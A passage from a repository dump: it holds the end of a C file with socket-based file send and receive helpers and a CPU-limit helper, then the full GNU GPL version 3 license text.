809 | unsigned char *msg = __msg; 810 | 811 | if ((fp = fopen(file, "w+")) == NULL) 812 | return -1; 813 | 814 | while ((n = read_data(sock, buf, PUT_LEN + HEAD_LEN)) > 0) { 815 | if ((t = unpack(msg, buf, n)) > 0) { 816 | fwrite(msg, t, 1, fp); 817 | } 818 | } 819 | if ((t = unpack(msg, buf, 0)) > 0) { 820 | fwrite(msg, t, 1, fp); 821 | } 822 | fclose(fp); 823 | 824 | return 0; 825 | } 826 | 827 | int put_file(const char *file, int sock) 828 | { 829 | int n, t, size, remain; 830 | char *p, *buf = __buf, tmp[12]; 831 | unsigned char *msg = __msg; 832 | 833 | if ((p = mapfile(file, &size)) == NULL) 834 | return -1; 835 | 836 | remain = size; 837 | 838 | while (1) { 839 | n = remain > GET_LEN ? GET_LEN : remain; 840 | if (n <= 0) 841 | break; 842 | if ((t = pack(msg, p + size - remain, n)) > 0) { 843 | if (write(sock, msg, t) != t) { 844 | munmap(p, size); 845 | return -1; 846 | } 847 | } 848 | remain -= n; 849 | } 850 | munmap(p, size); 851 | 852 | return 0; 853 | } 854 | 855 | void my_setrlimit(rlim_t cur, rlim_t max) 856 | { 857 | struct rlimit r; 858 | 859 | r.rlim_cur = cur; 860 | r.rlim_max = max; 861 | setrlimit(RLIMIT_CPU, &r); 862 | } 863 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | {one line to give the program's name and a brief idea of what it does.} 635 | Copyright (C) {year} {name of author} 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | {project} Copyright (C) {year} {fullname} 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | --------------------------------------------------------------------------------